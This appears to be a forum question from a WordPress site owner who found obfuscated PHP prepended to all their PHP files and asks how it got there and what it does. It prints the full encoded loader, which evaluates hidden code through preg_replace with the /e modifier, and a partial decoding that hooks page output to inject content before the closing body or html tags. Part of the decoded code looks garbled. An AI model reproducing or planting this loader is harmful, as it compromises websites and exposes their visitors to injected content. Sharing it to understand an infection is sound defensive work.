wordpress are injected some code snippets

I found all of php files of my wordpress are injected some code snippets in front of the files.

<?php 
$ipdcnbaium = '5c%x78256<^#zsfvr#%x5c%x785cq7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz]y74]273]y76]252]y85]256]y6g]257]78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWt%x7860gvodujpo)##-!#~<#%x5c%x77825)}.;%x5c%x7860UQPc%x787f!>>%x5c%x7822!pd%x5c%x7825m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x782x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x5tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%c%x7825j=tj{fpg)%x5c%x7825%4]y76#<%x5c%x7825tmw!>!#]y84]275]y824*<!%x5c%x7824-%x5c%x7824gx7825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c]67y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x78f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x786GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%{hnpd!opjudovg!|!**#j{hnpd#)tutjyf)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x78275hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbc%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x773:8297f:5297e:56-%x5c%x7878r.985:52985-t.9%x5c%x7860opjudovg%x5c%x7822)!gj}x5c%x7824-%x5c%x7824*<!~!dsfbuf%x5c83]273]y76]277#<%x5c%x7825t2w>#%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%xY%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x787fw7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%xif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset($GLc%x7824]y8%x5c%x7824-%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sfwx782f},;#-#}+;%x5c%x7825-qp%x5c%x7825)#57]38y]47]67y]37]88y]27]5c%x7825))!gj!<*#cd2bge56,47R57,27R66,#%x5c%x782fq%x5c%x7825>ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x782582f%x5c%x7825%x5c%x7825c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI2]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#76248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]uhofm%x5c%x7825:-5ppdex7825!<*#}_;#)323ldfid>}&;%x5c%x7825:osvufs:~92x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>hIr%x5c%x785c1^-%x5c%x7825r%xc%x7825r%x5c%x7878<~!!%x5c%x7825c%x785c2^-%x5c%x7826*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7828257-MSV,6<*)ujojR%x5c%x7827id%x5ck#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]27{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825opmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j2f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]27%x7825s:%x5c%x785c%x5c%x78#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvufs!|9]78]K5]53]Kc#<%x5c%x7825tpz!>-r%x5c%x7825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-E%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^x7825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GOy3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5"%x61%156%x75%156%x61"]=1x5c%x7827pd%x5c%x78256<pdx5c%x7825-#+I#)q%x5cy33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]6225kj:-!OVMM*<(<%x5c%x78e%x5c%x78b%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfeb8>>%x5c%x7822:ftmbg39*565c%x7827{**u%x5c%x7825-#jt0t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x7825o:!>!8]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%5z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825wc%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zeUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7828y]#%x5c%x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%; function fjfgg($n){return chr(ord($n)-]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", 860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%25!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x782!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7825>j35.)1%x5c%x782f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5c%x7824tvctus)4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x782%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)c%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c%x77jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5cfs%x5c%x7825)7gj6<*id%x5c%x7825)ftpmd5tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5825w6Z6<.5%x5c%x7860hA%x5c%x7827ppn)%x5c%x7825epnbss-%x5c%x7825r%x5c%25j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:}Z;0]=]0#)2q%x5c%x7825l}S;2-u#iubq#%x5c%x785cq%x5c%x7821);} @error_reporting(0); preg_replacex78786<C%x5c%x7827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]OBALS["%x61%156%x75%156%x61"])))) { $GLOBALS[5s:N}#-%x5c%x7825o:W%x5c%x78257825)sutcvt)esp>hmg%x5c%x7825!<5%x5c%x7827jsv%x5c%x81]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7860%x5c%x7825}X;!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x78242178}527}88:}334}472%x5c%x7824<!%x5c%x7825iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c787f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%154%xx5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x25z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7x7825!)!gj!<2,*j%x5c%x7825!-#1]#-b4-%x5c%x7824!>!fyqmpef5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9e!-#jt0*?]+^?]_%x5c%x785c}:4:|:**#ppde#)tutjyf%x5c%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%a%146%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)f%x5c%x7825ggg!>!#]y81]273]y8pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*bepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y#-#L#-#M#-#[#-#Y#-#D#-#W7824-%x5c%x7824-tusqpt)%x5c%x78b!-#}#)fepmqnj!%x5c%x782f!#0#)id!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7812>j%x5c%x7825!|!*#91y]825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5825)!>>%x5c%x7822!ftmbg)!gj<*#Y%x5c%x78257;utpI#7>%x}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[7860%x5c%x7878%x5c%x7822l:!}V;3q%x5%x5c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x!osvufs}%x5c%x787f;!opjudovg}k~~9{d1^W%x5c%x7825c!>!%x5c%x7825i%xjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssNULL); })!gj}Z;h!opjudovg}{;274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uy5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x0FUPNFS&d_SFSFGFS%x5c%x7860Q#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#Kc9y]g2y]#>>*4-1-bubE{h%x5]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238M7]3!osvufs!*!+A!>!{e%x5c%x725j:.2^,%x5c%x7825b:<!%x5c%x7825c:>%x5cMSVD!-id%x5c%x7825)uqpuft%x5c%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x517,67R37,#%x5c%x782fq%x5c%x7825>U<#1Y;tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%xx7878W~!Ypp2)%x5c%x7825zBz-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825%x5c%x7825tww**WYsboepn)%x5c%x7825b%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboe)sutcvt)fubmgoj{hA!osvuf439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:i)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x70LDPT7-UFOJ%x5c%x7860g:74985-rr.93e:5597f-s.9c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7Rc%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]y78]2X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j28%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%165]y83]248]y83]256]y81]265]y72]25#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7878256<C>^#zsfvr#%x5c%x785cq%xps)%x5c%x7825j>1<%x56]234]342]58]24]31#-%x5c%x7825tdd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7z*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x52q%x5c%x7825<#g6R85,67R37,5:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]47ubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&SA:>:8:|:7#6#)tutjyf%x5c%x7860Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c4-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x786y86]267]y74]275]y7:]268]y7f#<!%x5c%x782827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc)#]341]88M4P8]37]278]2254l}%x5c%x7827;%x5c%7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7pc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x%x78256<%x5c%x787fw6*%x5c%xCW&)7gj6<.[A%x5c%x7827&6<%x5c%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x7860un>qp%xubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x787ss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197y3e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K6+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&%x787fw6<*K)ftpmdXA6|7**197-2qj%x5R6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-s!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%fu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827kc:>1<%x5c%x7825b:>1<!gps)%x5c%x782x5c%x7878:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-0%x28%42%x66%152%x66%147%x67%42/(.*)/epreg_replacecawmpmsvdd'; 
$iizkegwpep = explode(chr((159-115)),'1520,70,4940,45,3179,25,3857,40,4841,38,5381,48,8214,69,10075,31,7231,69,5872,44,3141,38,4381,51,4674,33,8438,39,3937,61,3204,25,4579,41,5676,38,1174,44,8968,49,8136,37,2916,51,4879,61,6505,22,1866,44,4432,50,9786,34,8859,70,7771,21,825,67,5429,44,2526,68,0,29,3033,38,4815,26,5046,20,8357,29,5636,40,926,56,1421,59,2219,40,5916,45,6103,41,6903,42,171,47,4482,37,9820,51,7715,56,2323,34,9299,27,5333,48,9326,29,676,63,7381,63,1480,40,248,21,7202,29,8527,43,7816,63,269,33,6780,20,2768,68,1804,40,7598,24,9871,52,5580,34,8637,38,5194,35,9355,65,4121,51,2403,39,557,68,6945,53,5015,31,6412,23,7056,24,8173,41,892,34,1261,33,8068,68,3071,70,4620,54,1116,58,2090,49,6034,69,9420,43,9463,69,5831,41,1612,68,6729,43,6247,32,9532,55,5988,46,1743,24,9723,63,789,36,6998,28,3758,49,3998,60,9017,67,6853,50,9923,68,7300,45,5174,20,3596,48,1680,38,9144,20,2043,26,6664,35,2069,21,3452,24,8736,29,7622,56,2021,22,5805,26,126,45,2483,43,7139,24,6475,30,2357,46,8675,61,7879,69,7345,36,1767,37,8570,26,3404,48,5473,47,6570,35,3711,47,9229,70,3476,27,4786,29,1048,68,5779,26,8018,50,6800,53,2442,41,8283,32,495,34,1329,31,93,33,8929,39,4519,60,2866,50,1718,25,3807,50,3229,20,4344,37,302,69,8596,41,1910,63,625,51,3503,53,5229,51,2704,38,2259,64,8798,61,4228,59,6605,59,6216,31,5520,60,6435,40,1590,22,371,56,9164,65,529,28,8386,20,468,27,1294,35,218,30,1844,22,5614,22,7678,37,6144,48,4287,57,5280,53,6699,30,9084,37,7543,55,4707,36,7444,25,2967,66,7469,39,2139,29,2199,20,982,66,7508,35,9587,68,7792,24,1218,43,3556,40,9655,68,2836,30,6279,63,4058,63,427,41,5714,65,6527,43,1360,61,29,64,9121,23,7080,59,5066,64,8406,32,8477,50,4172,56,2168,31,4985,30,9991,34,2594,70,6342,70,7163,39,2742,26,4743,43,8765,33,739,50,2664,40,3644,67,3338,66,10025,50,7026,30,6192,24,8315,42,3305,33,5961,27,5130,44,7948,70,1973,48,3249,56,3897,40,6772,8');   
$emohrydhhi=substr($ipdcnbaium,(43064-32958),(46-39)); 
if (!function_exists('efccfhrtgn')) { 
  function efccfhrtgn($lvbeusmjag, $likewwohuf) { 
    $bofyjhslnr = NULL; 
    for($wymmotluwp=0;$wymmotluwp<(sizeof($lvbeusmjag)/2);$wymmotluwp++) { 
      $bofyjhslnr .= substr($likewwohuf, $lvbeusmjag[($wymmotluwp*2)],$lvbeusmjag[($wymmotluwp*2)+1]);
    } return $bofyjhslnr; 
  };
}         
$anjiklzunk="x2057x2a40x67166x66162x70151x78145x74152x2052x2f40x65166x61154x28163x74162x5f162x65160x6c141x63145x28143x68162x2850x3161x3155x3764x2951x2c40x63150x7250x2862x3870x2d61x3966x2951x2c40x65146x63143x66150x72164x67156x2844x69151x7a153x65147x77160x65160x2c44x69160x64143x6e142x61151x75155x2951x2973x2057x2a40x78147x76157x66163x6b147x6f146x2052x2f40"; 
$xmtobffgzh=substr($ipdcnbaium,(35930-25817),(80-68)); 
$xmtobffgzh($emohrydhhi, $anjiklzunk, NULL); 
$xmtobffgzh=$anjiklzunk; 
$xmtobffgzh=(818-697); 
$ipdcnbaium=$xmtobffgzh-1; ?>

it seems like some encrypted php codes. So I tried decrypted it Here, then I got

<?php

function __lambda_func()
{
};

if (!function_exists("pa22")) {
   function pa22($v)
   {
      Header("Content-Encoding: none");
      $p = "x70162x65147x5f";
      $p1 = $p . "155x61164x63150";
      $p2 = $p . "162x65160x6c141x63145";
      $t = dcoo($v);
      if ($p1("/</body/si", $t)) {
         return $p2("/(</body[^>]*>)/si", day212() . "n" . "$" . "1", $t, 1);
      }
      else {
         if ($p1("/</html/si", $t)) {
            return $p2("/(</html[^>]*>)/si", day212() . "n" . "$" . "1", $t, 1);
          }
          else {
            return $t;
          }
       }
    }
}

ob_start("pa22"); //}

I had reinstalled my wordpress several months ago. But it comes again now. My wordpress is the newest version(3.9.1).

my question is

1. how did those snippets inject into php files?

2. what are the snippets going to do?